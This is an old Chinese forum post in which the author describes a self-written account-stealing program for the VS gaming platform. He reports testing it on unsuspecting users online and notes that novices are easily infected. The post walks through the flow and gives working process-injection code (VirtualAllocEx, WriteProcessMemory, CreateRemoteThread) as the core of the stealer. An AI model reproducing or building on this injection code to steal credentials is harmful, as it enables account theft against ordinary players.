-
-
[旧帖]
[原创]自己写的VS对战平台盗号小程序,高手就不用看了~
0.00雪花
-
发表于:
2009-2-10 10:52
19562
-
[旧帖] [原创]自己写的VS对战平台盗号小程序,高手就不用看了~
0.00雪花
寒假一个人在家无聊,看看书,玩2局dota,其他时间就是吃饭睡觉上网。。。
上星期突然想到有事干干,那就是——写个盗号程序玩玩,于是,经过2,3天的写代码,调试,完成了 ,在这里和大家交流一下 ~(给新手交流下不错,高手不要看了)
其实本来准备写个浩方的盗号程序的,而且已经写好了,不过和同学测试的时候,同学说只有VS平台,说不得,只好把参数改了,变成现在的VS盗号程序。
其实程序是用vc写的,而且流程也比较简单,不过效果倒是不错,曾尝试了过,网上发帖测试过,对方如果不太懂电脑的话,中招的可能性很高。
好了,现在简单讲一下流程了,整个程序基于MFC对话框的(感觉有点挫 )
在主对话框里响应OnTimer函数,然后在OnInitDialog中Settimer。
然后就是关键了。。。Ontimer中调用CreateRemoteThread(其实这也是老方法了,网上这个函数的介绍已经多的烂了,百度一下一堆一堆的),不过还是要说一下我用了以后的感受:
首先就是在CreateRemoteThread之前要把要写入的线程,以及相应的要做参数传进去的数据结果,先用VirtualAllocEx在目标进程中分配好,然后再调用,(话说我当时很无知的直接调用CreateRemoteThread使进程崩溃了 )。
其次就是CreateRemoteThread在MFC程序下不能用debugger模式启动,启动后还是会让目标程序崩溃。。。网上查了,牛人说CreateRemoteThread在调试时会在目标进程多加入调试信息,导致崩溃。于是这个函数只能在Release下运行。
代码给出:
void *pRemoteThread
= VirtualAllocEx(hProcess, 0,
1024*4, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (! pRemoteThread)
return ;
if (! WriteProcessMemory(hProcess, pRemoteThread, &RMTFunc, 1024*4, 0))
return ;
MyData *pData
= (MyData*)VirtualAllocEx(hProcess, 0,
sizeof (MyData), MEM_COMMIT,
PAGE_READWRITE);
if (!pData)
return ;
if (! WriteProcessMemory(hProcess, pData, &data, sizeof (MyData), 0))
return ;
HANDLE hThread
= CreateRemoteThread(hProcess, 0,
0, (LPTHREAD_START_ROUTINE)pRemoteThread,
pData, 0, 0);
if (! hThread)
{
return ;
}
CloseHandle(hThread);
VirtualFreeEx(hProcess, pRemoteThread, 1024*3, MEM_RELEASE);
VirtualFreeEx(hProcess, pData, sizeof (MyData), MEM_RELEASE);
CloseHandle(hProcess);
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)